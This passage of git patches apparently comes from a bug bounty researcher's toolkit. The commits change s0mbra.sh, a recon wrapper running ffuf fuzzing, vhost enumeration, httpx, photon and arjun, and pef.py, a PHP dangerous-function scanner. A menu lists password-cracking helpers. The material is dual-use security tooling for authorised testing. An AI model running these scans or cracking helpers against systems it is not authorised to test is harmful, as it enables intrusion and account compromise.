$PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log fi # ffuf if [[ $FFUF -eq "1" ]]; then - ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/starter.txt -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $PROTO://$HOSTNAME/FUZZ/ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/ffuf_lowercase_$HOSTNAME.log fi # subdomanizer From 30588de41cc83e9bb3bc589f114e2f165a28a62f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 1 Nov 2023 19:17:39 +0000 Subject: [PATCH 397/460] [pef] Fix str() error --- pef/pef.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 5692b8f..6860357 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -249,7 +249,7 @@ def main(self, src): """ main engine loop """ - f = open(src, "r", encoding="ISO-8859-1") + f = open(str(src), "r", encoding="ISO-8859-1") i = 0 res = None file_found = 0 @@ -274,7 +274,7 @@ def run(self): print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") - if os.path.isdir(self.filename): + if os.path.isdir(str(self.filename)): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue From a4fc6460c97ab7d99982c5309887bd6842b8ddb2 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 4 Nov 2023 18:41:45 +0000 Subject: [PATCH 398/460] [s0mbra] Delete httpx temporary dirs --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index cfb76a9..9b5baaa 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -274,7 +274,7 @@ peek() { echo -e "\n$BLUE[s0mbra] Remove temporary files...\n" rm -f $TMPDIR/sublister_$DOMAIN.log rm -f $TMPDIR/subfinder.log - rm -rf $TMPDIR/h* + rm -rf httpx* END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From 37614c04562015839f9620a1aed1e9cb4b87a36f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 12 Jan 2024 23:58:26 +0000 Subject: [PATCH 399/460] [s0mbra] Fix vhosts enumeration --- s0mbra.sh | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9b5baaa..569c8f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -295,7 +295,6 @@ recon() { NMAP="1" NIKTO="1" FFUF="1" - FEROXBUSTER="1" SUBDOMANIZER="1" SELECTED_OPTIONS="nmap, nikto, ffuf, subdomanizer" else @@ -341,9 +340,7 @@ recon() { if [[ $VHOSTS -eq "1" ]]; then # vhosts enumeration - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log - - ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://$HOSTNAME/FUZZ -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ" -o $TMPDIR/ffuf_vhosts_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/vhosts -u $PROTO://FUZZ.$HOSTNAME -mc=200,206,301,302,422,429 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -H "Host: FUZZ.$HOSTNAME" -o $TMPDIR/ffuf_vhosts_fullnames_$HOSTNAME.log fi # ffuf @@ -390,8 +387,6 @@ fu() { # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - elif [[ $3 == "-" ]]; then - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else if [[ $3 == "-" ]]; then # if $3 equals - (dash) that means we should ignore it at all From 573bb80efb06fbe46c6a615162370700d3fb24be Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 9 Feb 2024 11:53:02 +0000 Subject: [PATCH 400/460] [s0mbra] Added photon to recon --- s0mbra.sh | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 569c8f4..aecac6c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -242,6 +242,20 @@ scope() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# OSINT +photon() { + URL=$1 + OUTPUT_DIR=$2 + TMPDIR=$(pwd)/photon/$OUTPUT_DIR + if [[ ! -d $TMPDIR ]]; then + mkdir -p $TMPDIR + fi + echo -e "$BLUE[s0mbra] Let's do some OSINT stuff around $URL...$CLR\n" + /usr/local/homebrew/bin/python3 /Users/bl4de/hacking/tools/Photon/photon.py -u "$URL" -l 5 -t 10 -o "$TMPDIR" + ls -lRA "$TMPDIR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # quick scope, but for single domain - no need to create scope file peek() { TMPDIR=$(pwd)/$1 @@ -736,6 +750,9 @@ case "$cmd" in peek) peek "$2" ;; + photon) + photon "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -854,7 +871,7 @@ case "$cmd" in clear echo -e "$BLUE_BG:: RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN scope $GRAY[SCOPE_FILE]$CLR\t\t\t\t$CYAN recon $GRAY[HOST] [OPTIONS:nmap,nikto,vhosts,ffuf,subdomanizer] [PROTO http/https]$CLR" - echo -e "$CYAN peek $GRAY[DOMAIN]$CLR" + echo -e "$CYAN peek $GRAY[DOMAIN]$CLR\t\t\t\t\t$CYAN photon $GRAY[HOST] [OUTPUT_DIR]$CLR" echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" From 1b0d1c8d29263d79eee25f8ca0a3bec7c300fce1 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 16 Feb 2024 22:06:58 +0000 Subject: [PATCH 401/460] [s0mbra] arjun for url parameters discovery --- s0mbra.sh | 20 ++++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index aecac6c..cd7f01f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -377,6 +377,20 @@ recon() { echo -e "\n$BLUE[s0mbra] Done.$CLR" } +# runs GET parameter(s) discovery +_arjun() { + clear + DICT_PATH="/Users/bl4de/hacking/dictionaries" + if [[ -z $2 ]]; then + SELECTED_DICT=urlparams_medium.txt + else + SELECTED_DICT=$2 + fi + echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" + arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + fu() { clear @@ -753,6 +767,9 @@ case "$cmd" in photon) photon "$2" "$3" ;; + arjun) + _arjun "$2" "$3" + ;; recon) recon "$2" "$3" "$4" ;; @@ -876,8 +893,7 @@ case "$cmd" in echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN fu $GRAY[URL] [DICT] [*EXT,/ or -] [HTTP RESP.]$CLR\t$CYAN apifuzz $GRAY[BASE_URL] [ENDPOINTS]$CLR\t$YELLOW(REST)$CLR" echo -e "$CYAN graphw00f $GRAY[HOST]$CLR\t\t$YELLOW(GraphQl)$CLR\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR" - echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CLR" - + echo -e "$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t$YELLOW(REST)$CRL\t\t$CYAN arjun $GRAY[HOST] [DICT]$CLR" echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN discloS3 $GRAY[URL]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3 $GRAY[BUCKET]$CLR\t\t\t$YELLOW(AWS)$CLR" echo -e "$CYAN s3get $GRAY[BUCKET] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t$CYAN s3ls $GRAY[BUCKET] [folder]$CLR\t\t$YELLOW(AWS)$CLR" From d5a985269e254a32d0200d1129b690ed9129c6ba Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 25 Feb 2024 11:02:37 +0000 Subject: [PATCH 402/460] [s0mbra] arjun fix --- s0mbra.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index cd7f01f..59e9768 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -380,14 +380,13 @@ recon() { # runs GET parameter(s) discovery _arjun() { clear - DICT_PATH="/Users/bl4de/hacking/dictionaries" if [[ -z $2 ]]; then - SELECTED_DICT=urlparams_medium.txt + SELECTED_DICT=/Users/bl4de/hacking/dictionaries/urlparams_medium.txt else - SELECTED_DICT=$2 + SELECTED_DICT="$2" fi echo -e "$BLUE[s0mbra] Trying to discover GET params on $1 using $SELECTED_DICT...$GRAY" - arjun -u "$1" -w "$DICT_PATH/$SELECTED_DICT" + arjun -u "$1" -w $SELECTED_DICT echo -e "$BLUE\n[s0mbra] Done! $CLR" } From 59115096ab5a02d1fca7978d11b3165f9d450610 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 07:55:02 +0000 Subject: [PATCH 403/460] [s0mbra] missing space --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 59e9768..31933ca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -905,7 +905,7 @@ case "$cmd" in echo -e "$CYAN smb_umount $CLR" echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" - echo -e "$CYAN rockyou_john $GRAY[HASHES][FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" + echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" echo -e "$CYAN john_pot$CLR" From 01e7be5db84a131591d6d4488ed7a2d95aaadf1f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 26 Feb 2024 15:52:42 +0000 Subject: [PATCH 404/460] [s0mbra] Update peek() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 31933ca..6a68539 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -230,7 +230,7 @@ scope() { # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -ip -cname -cdn -rl 20 -exclude-cdn -l $TMPDIR/subdomains_final.log -o $TMPDIR/httpx.log END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" From b5fd2150dd3ffa10103b3230fa5c5272457ac0f6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 31 Mar 2024 20:55:42 +0100 Subject: [PATCH 405/460] [s0mbra] Added 401 to default HTTP response codes in fu() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 6a68539..2e357df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -402,7 +402,7 @@ fu() { # set response status code(s) to match on: if [[ -z $4 ]]; then - HTTP_RESP_CODES=200,206,301,302,500 + HTTP_RESP_CODES=200,206,301,302,401,500 else HTTP_RESP_CODES=$4 fi From b729f576c6b914d218b1f8f7a965786f51320ab5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 14 Apr 2024 21:31:35 +0100 Subject: [PATCH 406/460] [s0mbra] do not clear the screen when fu() is called --- s0mbra.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2e357df..73d42db 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -391,8 +391,6 @@ _arjun() { } fu() { - clear - # use starter.txt as default dictionary if [[ -z $2 ]]; then SELECTED_DICT=starter From d7567d8b19604a1a44571c3eee7886f8ba34ccee Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 12 May 2024 19:37:59 +0100 Subject: [PATCH 407/460] [s0mbra] remove unused tool --- s0mbra.sh | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 73d42db..4dc2304 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -727,13 +727,6 @@ shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# looks for default credentials in service/software/hardware -defcreds() { - echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" - creds search $1 - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - # decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" @@ -797,9 +790,6 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - defcreds) - defcreds "$2" - ;; unmin) unmin "$2" ;; @@ -904,8 +894,7 @@ case "$cmd" in echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN rockyou_john $GRAY[HASHES] [FORMAT]$CLR\t\t\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR" - echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR" - echo -e "$CYAN john_pot$CLR" + echo -e "$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t$CYAN john_pot$CLR" echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" From 299771d09d71b3e2b37a8552a243bd41bbff7632 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 15 Jun 2024 16:54:55 +0100 Subject: [PATCH 408/460] [pef] Refactoring; bugfixing; added -f/--function to search for sinlge function only --- pef/pef.py | 54 ++++++++++++++++++++++++++++++------------------------ 1 file changed, 30 insertions(+), 24 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 6860357..136ae84 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,20 +171,20 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, dirs_to_scan, skip_vendor=False): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): """ constructor """ - self.level = level # scan only for level set of functions + self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources - self.filename = filename # name of file/folder to scan - self.dirs_to_scan = dirs_to_scan # name(s) of dirs to scan + self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor + self.phpfunction = '' if phpfunction is None else phpfunction - self.scanned_files = 0 # number of scanned files in total - self.found_entries = 0 # total number of findings + self.scanned_files = 0 # number of scanned files in total + self.found_entries = 0 # total number of findings - self.severity = { # severity scale + self.severity = { # severity scale "high": 0, "medium": 0, "low": 0 @@ -227,18 +227,24 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou found = 0 # print legend only if there i sentry in pefdocs.py + if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': - if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': - if len(_line) > 255: - _line = _line[:120] + \ - f" (...truncated -> line is {len(_line)} characters long)" - print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, beautyConsole.getColor( - impact_color[impact]), beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) - found += 1 + if self.phpfunction == '' or self.phpfunction in fn: + if (len(doc) == 5 and source_or_sink == doc[4]) or source_or_sink == 'ALL': + if len(_line) > 255: + _line = _line[:120] + \ + f" (...truncated -> line is {len(_line)} characters long)" + print("{}{}:{}\t{}{}{}{}".format(beautyConsole.getColor("white"), file_name, i, + beautyConsole.getColor( + impact_color[impact]), + beautyConsole.getColor(impact_color[impact]), + _line.strip()[:255], + beautyConsole.getColor("grey"))) + found += 1 if impact not in severity.keys(): severity[impact] = 1 else: @@ -271,6 +277,7 @@ def run(self): """ total_found = 0 os.system('clear') + print( f"{beautyConsole.getColor('green')}>>> RESULTS <<<{beautyConsole.getColor('gray')}\n") @@ -278,15 +285,13 @@ def run(self): for root, _, files in os.walk(self.filename): if self.skip_vendor is True and "vendor" in root: continue - # if self.dirs_to_scan and self.not_in_dirs_to_scan(root): - # continue prev_filename = "" for f in files: extension = f.split('.')[-1:][0] if extension in ['php', 'inc', 'php3', 'php4', 'php5', 'phtml']: self.scanned_files = self.scanned_files + 1 (res, file_found) = self.main(os.path.join(root, f)) - if res is not None and f != prev_filename: + if self.phpfunction == '' and res is not None and f != prev_filename: print(f">>> {f} <<<\t{'-' * (115 - len(f))}\n\n") prev_filename = f total_found += file_found @@ -309,7 +314,7 @@ def print_summary(self, total_found: int) -> None: """ print(f"{beautyConsole.getColor('white')}Total issues found: {total_found}") print( - f"{beautyConsole.getColor('white')}Cmd arguments: {' '.join(sys.argv[1:])}\n") + f"\n{beautyConsole.getColor('grey')}Cmd arguments: {' '.join(sys.argv[1:])}\n") # main program @@ -320,6 +325,7 @@ def print_summary(self, total_found: int) -> None: add_help=True ) filename = '.' # initial value for file/dir to scan is current directory + phpfunction = '' parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") @@ -331,14 +337,15 @@ def print_summary(self, total_found: int) -> None: "-K", "--sink", help="show only sinks", action="store_true") parser.add_argument( "-f", - "--file", - help="File or directory name to scan", + "--function", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help="List of directories to scan (mutually exclusive with -f flag)", + help="Directory to scan (or sinlge file, optionally)", ) + args = parser.parse_args() level = args.level.upper() if args.level else 'ALL' @@ -349,10 +356,9 @@ def print_summary(self, total_found: int) -> None: if args.sink: source_or_sink = 'sink' - dirs_to_scan = args.dir - filename = args.file + filename = args.dir # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, dirs_to_scan, args.skip_vendor) + filename, args.skip_vendor, args.function) engine.run() From aa7b5a0b022f68fb9ce97565487a794b80dd53b5 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 23 Jun 2024 23:50:27 +0100 Subject: [PATCH 409/460] [s0mbra] notification after fu, peek, nmap scans --- pef/imports/pefdocs.py | 12 ++++++------ s0mbra.sh | 5 +++++ 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index 1863d39..f405130 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -85,14 +85,14 @@ "Opens process file pointer. Opens a pipe to a process executed by forking the command given by command.", "popen ( string $command , string $mode ) : resource", "Code Injection", - "medium", + "high", "sink" ], "proc_open()": [ "Execute a command and open file pointers for input/output. proc_open() is similar to popen() but provides a much greater degree of control over the program execution.", "proc_open ( string $cmd , array $descriptorspec , array &$pipes [, string $cwd = NULL [, array $env = NULL [, array $other_options = NULL ]]] ) : resource", "Code Injection", - "medium", + "high", "sink" ], "pcntl_exec()": [ @@ -538,28 +538,28 @@ "$_POST reference found", "", "", - "critical", + "high", "source" ], "$_GET": [ "$_GET reference found", "", "", - "critical", + "high", "source" ], "$_REQUEST": [ "$_REQUEST reference found", "", "", - "critical", + "high", "source" ], "$_COOKIES": [ "$_COOKIES reference found", "", "", - "critical", + "high", "source" ] } diff --git a/s0mbra.sh b/s0mbra.sh index 4dc2304..c2478f4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -32,6 +32,7 @@ full_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs --top-ports $2 against IP @@ -45,6 +46,7 @@ quick_nmap_scan() { fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "nmap finished, choomba!" with title "s0mbra says:"' } # runs Python 3 built-in HTTP server on [PORT] @@ -84,6 +86,7 @@ rockyou_john() { fi cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." + osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } # show JTR's pot file @@ -296,6 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" + osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? @@ -425,6 +429,7 @@ fu() { ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$SELECTED_DICT.txt -u $1/FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[s0mbra] Done! $CLR" + osascript -e 'display notification "ffuf finished, choomba!" with title "s0mbra says:"' } api_fuzz() { From 40421fdd5df10082e01704b024fabe937f838019 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 30 Jun 2024 10:55:15 +0100 Subject: [PATCH 410/460] [pef] added verbose output --- pef/pef.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/pef/pef.py b/pef/pef.py index 136ae84..6c8180d 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -171,7 +171,7 @@ class PefEngine: implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): + def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ @@ -180,7 +180,7 @@ def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction): self.filename = filename # name of file/folder to scan self.skip_vendor = skip_vendor self.phpfunction = '' if phpfunction is None else phpfunction - + self.verbose = verbose self.scanned_files = 0 # number of scanned files in total self.found_entries = 0 # total number of findings @@ -214,7 +214,7 @@ def analyse_line(self, l, i, fn, f, line): f.name, l, i, fn + (')' if '(' in fn else ''), self.severity, self.level, self.source_or_sink) return res - def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL'): + def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', source_or_sink='ALL', verbose=False): """ prints formatted code line """ @@ -244,6 +244,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou beautyConsole.getColor(impact_color[impact]), _line.strip()[:255], beautyConsole.getColor("grey"))) + if self.verbose: + print(f"\t{doc[1]}\n\t{doc[0]}\n") found += 1 if impact not in severity.keys(): severity[impact] = 1 @@ -329,6 +331,8 @@ def print_summary(self, total_found: int) -> None: parser.add_argument( "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") + parser.add_argument( + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: ALL") parser.add_argument( @@ -360,5 +364,5 @@ def print_summary(self, total_found: int) -> None: # main orutine starts here engine = PefEngine(level, source_or_sink, - filename, args.skip_vendor, args.function) + filename, args.skip_vendor, args.function, args.verbose) engine.run() From c1413e9b84296fa407a24aa57806863acbb39cfa Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 2 Jul 2024 01:04:18 +0100 Subject: [PATCH 411/460] [pef] added some functions --- pef/imports/pefdocs.py | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index f405130..e6fa9ab 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -479,6 +479,20 @@ "medium", "sink" ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__call()": [ "Triggered when invoking inaccessible methods in an object context", "public __call ( string $name , array $arguments ) : mixed", @@ -486,6 +500,20 @@ "medium", "sink" ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], "__callStatic()": [ "Triggered when invoking inaccessible methods in a static context.", "public static __callStatic ( string $name , array $arguments ) : mixed", From a0783e43651421a530847963769321a6116f125f Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:26:16 +0100 Subject: [PATCH 412/460] [s0mbra] notification message --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c2478f4..924c6e3 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -299,7 +299,7 @@ peek() { echo -e "$GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/subdomains_final.log` | cut -d" " -f 1) $GRAY subdomains" echo -e "$GRAY httpx found \t\t\t $YELLOW $(echo `wc -l $TMPDIR/httpx.log` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e "\n$BLUE[s0mbra] Done.$CLR" - osascript -e 'display notification "peek finished, choomba!" with title "s0mbra says:"' + osascript -e 'display notification "Hey choomba, peek finished!" with title "s0mbra says:"' } # does recon on URL: nmap, ffuf, other smaller tools, ...? From ea00bf374874c7e5596f960242abe89e2531d7d3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 23 Jul 2024 20:34:14 +0100 Subject: [PATCH 413/460] [denumerator] refactoring --- denumerator/denumerator.py | 34 +++++++++++++++++++--------------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/denumerator/denumerator.py b/denumerator/denumerator.py index dad6987..da41757 100755 --- a/denumerator/denumerator.py +++ b/denumerator/denumerator.py @@ -1,11 +1,10 @@ -#!/usr/bin/env python3 +#!/usr/bin/env python # pylint: disable=invalid-name """ @TODO - results summary """ - """ --- dENUMerator --- @@ -20,14 +19,15 @@ $ ./denumerator.py [domain_list_file] """ - import argparse +import json import os import subprocess import time -import requests -import json from datetime import datetime + +import requests + welcome = """ --- dENUMerator --- usage: @@ -288,8 +288,8 @@ def append_to_output(html_output, url, http_status_code, response_headers, nmap_ b"\n") if port.find(b"open") > 0] for port in open_ports: nmap_html = nmap_html + \ - "

{}

